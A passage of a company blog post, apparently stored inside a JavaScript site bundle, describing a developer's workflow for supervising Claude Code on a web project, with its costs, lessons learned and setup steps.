and 1200px; navigation collapses to hamburger below 768px; touch targets minimum 44px; event cards stack to single column on mobile\" is the difference between a one-pass implementation and three rounds of revision.\n\nDiff reading matters. You need to understand what every line of code does, even though you didn't write it. When I reviewed the EventCard component, I needed to know whether `aria-labelledby` on both the `<article>` and the inner `<a>` was intentional and valid (it was), whether the three-line clamp used `-webkit-line-clamp` with proper fallbacks (it did), and whether the hover transform had a reduced-motion guard (it didn't, which the review caught). You can't approve what you can't evaluate.\n\nAnd knowing when to push back matters. Claude Code occasionally proposes solutions that are technically correct but architecturally wrong for the project. When it suggested a separate component file for 30 lines of about-section content, I said no, inline it. When it generated a comprehensive test suite for a simple date formatting function, I kept the boundary tests and cut the redundant ones. When it wanted to add a new design token for a single use case, I pointed it at the existing token. These are small decisions, but they compound across a project.\n\nI'll be direct about the tension, though. Some developers love the part of the job this workflow automates. The satisfaction of solving an algorithmic puzzle, the flow state of typing code, the craft of a well-structured function. This workflow moves your value away from that and toward management, architecture, and review. If you got into this field because you love writing code, the shift might feel like a loss. If you got into this field because you love building things, it might feel like a superpower.\n\n## Cost and Practicality\n\nThe entire toolchain costs between $40 and $240 per month. Claude Pro at $20 gives you Claude Desktop for planning, Claude Code for building, and the model access for both. A code review tool runs $0 to $40 depending on what you choose. Claude Pro Max at $200 gives higher rate limits and is what I'd recommend for real client work, but Pro is fine for smaller projects and training exercises.\n\nNo API costs. Everything runs through the Claude subscription. The training project ran on Pro Max and never hit a rate limit.\n\nCompare that to the traditional alternative. This project was scoped at roughly 50 story points across 21 tickets. In a conventional workflow, that's probably 40 to 60 developer-hours depen
1ding on experience and the framework. At shop rates, that's several thousand dollars of labor. The AI workflow compressed it to about 4 hours of my active time (2 hours planning, 2 hours 10 minutes supervising) plus 12 hours of wall-clock time. The economics are hard to argue with.\n\nThe caveat is that this requires architectural skill. You can't skip the planning phase and get these results. A junior developer who can write great code but hasn't internalized system design patterns will struggle with the \"architect\" role this workflow demands, because the AI handles implementation but the human still owns every judgment call. If you don't have the judgment yet, the AI just builds the wrong thing faster.\n\n## What I'd Do Differently\n\nI have a short list, and it's more useful than the success stories.\n\n**Update CLAUDE.md faster.** The `aria-live` duplication recurred three times before I added the convention rule. Each recurrence was caught by reviewers, but it was wasted effort. Any time a review catches a pattern issue, that pattern should go into CLAUDE.md the same day. One line of persistent instruction prevents multiple rounds of review feedback.\n\n**Batch tightly-coupled tickets.** The landing page had four tickets: Hero, Upcoming Events, About/CTA, and Assembly. The assembly ticket resolved itself naturally as the other three merged in sequence, because they all built on the same page file. Four separate PRs for one feature page created unnecessary review overhead. Next time I'd combine those into two tickets at most.\n\n**Treat documentation with the same rigor as features.** The README ticket had loose acceptance criteria and became the most review-intensive PR of the project. It also spawned a CLI script that had three bugs caught in review (accepted impossible dates like February 30, allowed unsanitized input in slug overrides, and produced invalid YAML from double-quoted user input). I treated it as a wind-down task. It deserved a proper spec.\n\n**Establish CSS conventions earlier.** The `width: 100vw` scrollbar issue appeared in two different PRs with two different fixes. After the first occurrence I should have documented the preferred pattern (`calc(50% - 50vw)` negative margins) so Claude Code would use it consistently. Instead I got two solutions to the same problem, one of which was worse than the other.\n\n**Create a living conventions document from day one.** Beyond CLAUDE.md, a project-level conventions reference covering accessibility patterns, CSS approaches, and component structure would have prevented inconsistencies that accumulated across PRs. Each individual implementation was defensible in isolation. The inconsistency across the project created unnecessary review churn.\n\n## Getting Started\n\nIf you want to try this workflow, here's what you actually need to do.\n\nGet a Claude Pro subscription. Install Claude Code (`npm install -g @anthropic-ai/claude-code`). Set up at least one automated code review tool on your GitHub repo. The free Claude GitHub integration works fine to start.\n\nCreate a Claude Project and load it with context: your project requirements, technical constraints, design references, anything you'd hand to a new developer joining the team. Have a planning conversation. Let Claude ask questions. Make decisions. Let it structure your thinking into documentation and tickets.\n\nWrite tickets with detailed acceptance criteria. Specific fields, expected behaviors, responsive breakpoints, accessibility requirements. If the ticket is vague, the code will be too.\n\nTurn off auto-commit, auto-push, and auto-merge. Read every diff. You need to understand what you're shipping.\n\nBuild ticket by ticket. Let Claude Code work. Check in when it's ready for approval. Feed review comments back for fixes. Merge when you're satisfied.\n\nRun a retro after each sprint. Let Claude analyze what happened. Read the analysis. Apply the learnings. Update your project instructions with any conventions the reviews surfaced.\n\nThe acceleration curve is real. Your first epic will feel slow and unfamiliar. By the third or fourth, you'll be reviewing diffs while making dinner.\n\n---\n\nI made noodles while the AI built my project. I also spent almost two hours before that making sure it would build the right one. If there's a takeaway, it's that the ratio between those two activities matters more than either number on its own. The workflow redirects your time toward architecture, quality judgment, and creative direction. The code follows from that.\n\n<div class=\"info-box\">\n<span class=\"info-box-title\">Want to try this on your project?</span>\n\nWe've been building software for clients for over 25 years, and this workflow is how we're doing it now. If you're curious what AI-augmented development could look like for your team or your next project, **[get in touch](/connect/) â we'd be happy to walk through it with you.**\n\n</div>\n",icon:em.A,color:"violet",ogFeaturedImage:"/content/images/blogs/plan-assign-build-retro-a-replicable-workflow-for-ai-augmented-development/noodles.jpg"},nm,np,nu,nd,nl,ns,no,nt,ne,e9,e7,o,s,l,h,c,p,g,w,b,v,I,A,S,P,j,_,O,B,L,$,N,z,G,V,Y,K,Z,ee,en,et,eo,ei,er,el,eh,ed,eu,ep,eg,ef,ew,ev,ey,ek,eI,eA,eS,eP,ej,eW,eM,eR,eE,eL,e$,eq,ez,eG,eV,eY,eK,eQ,e0,e2,e5,e3,e8].sort((e,n)=>n.publishDate.getTime()-e.publishDate.getTime())},2746:(e,n,t)=>{t.d(n,{Al:()=>o,O_:()=>a});let a=["Accessibility","Agile","AI","Android","Animation","Arduino","Automation","AWS","Azure","Communication","Conferences","Culture","C Sharp","CSS","Django","Documentation","DotNET","Functional Programming","G
1it","GCP","Graphics","InfluxDB","Internet of Things","Interview","iOS","Java","JavaScript","Kotlin","Leap Motion","Mobile","Monitoring","Objective-C","Operations","Partners","Passions","People","Perl","Presentation","Python","QA","Redux","Remote","Security","Summit","Swift","Terraform","Testing","Technology","Training","Version Control","Video","Web Services","Xamarin"],o={amber:"from-amber-500 to-amber-700",blue:"from-blue-500 to-blue-700",cyan:"from-cyan-500 to-cyan-700",emerald:"from-emerald-500 to-emerald-700",green:"from-green-500 to-green-700",indigo:"from-indigo-500 to-indigo-700",orange:"from-orange-500 to-orange-700",purple:"from-purple-500 to-purple-700",red:"from-red-500 to-red-700",rose:"from-rose-500 to-rose-700",sky:"from-sky-500 to-sky-700",teal:"from-teal-500 to-teal-700",violet:"from-violet-500 to-violet-700",yellow:"from-yellow-500 to-yellow-700"}}}]);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.